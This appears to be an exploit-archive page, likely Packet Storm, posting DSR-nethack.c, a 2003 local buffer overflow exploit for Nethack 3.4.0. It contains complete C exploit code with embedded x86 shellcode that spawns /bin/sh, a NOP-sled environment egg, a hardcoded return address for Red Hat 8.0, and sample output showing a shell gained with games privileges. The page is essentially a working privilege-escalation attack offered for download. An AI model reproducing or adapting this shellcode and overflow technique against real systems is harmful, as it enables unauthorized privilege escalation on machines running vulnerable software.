what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

DSR-nethack.c

DSR-nethack.c
Posted Feb 20, 2003
Authored by Bob | Site dtors.net

Nethack v3.4.0 local buffer overflow exploit which spawns a shell as uid=games. Runs /usr/games/lib/nethackdir/nethack.

tags | exploit, overflow, shell, local
SHA-256 | d36c9676766104ed6f0e30024d355ec827f58589e60d86e963361827c6ef5db0

DSR-nethack.c

Change Mirror Download
/* DSR-nethack.c by bob@dtors.net
* Vulnerbility Found by tsao.
*
* Local BufferOverflow that leads
* to elevated privileges [games].
*
* Basic PoC code...nothing special.
*[bob@dtors bob]$ ./DSR-nethack
*
* DSR-nethack.c By bob.
* Local Exploit for Nethack 3.4.0
* DSR-[www.dtors.net]-DSR
*
* ret: 0xbffffd86
*
* Cannot find any current entries for AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA†ýÿ¿
* Usage: nethack -s [-v] <playertypes> [maxrank] [playernames]
* Player types are: [-p role] [-r race]
* sh-2.05b$ id -a
* uid=12(games) gid=501(bob) groups=501(bob)
* sh-2.05b$
*
* www.dtors.net // www.b0f.net
*/
#include <stdio.h>

char shellcode[]= /* shellcode by bob */
"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80" //minus
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89"
"\xe3\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80";


int main ()
{


unsigned long ret = 0xbffffd86; //Redhat 8.0 i386

char buf[224];
char smeg[1024];
char *ptr;
int i=0;

fprintf(stdout, "\n\tDSR-nethack.c By bob.\n");
fprintf(stdout, "Local Exploit for Nethack 3.4.0\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");

memset(buf, 0x41, sizeof(buf));

ptr = smeg;

for (i = 0; i < 1024 - strlen(shellcode) -1; i++) *(ptr++) = 0x90;
for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
smeg[1024 - 1] = '\0'; //null byte

memcpy(smeg,"EGG=",4);
putenv(smeg);

buf[220] = (ret & 0x000000ff);
buf[221] = (ret & 0x0000ff00) >> 8;
buf[222] = (ret & 0x00ff0000) >> 16;
buf[223] = (ret & 0xff000000) >> 24;
buf[224] = '\0';

fprintf(stdout,"ret: 0x%08x\n",ret);


execl("/usr/games/lib/nethackdir/nethack", "nethack", "-s", buf, NULL); //weeoooweeeeooowooo
return 0;
}

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close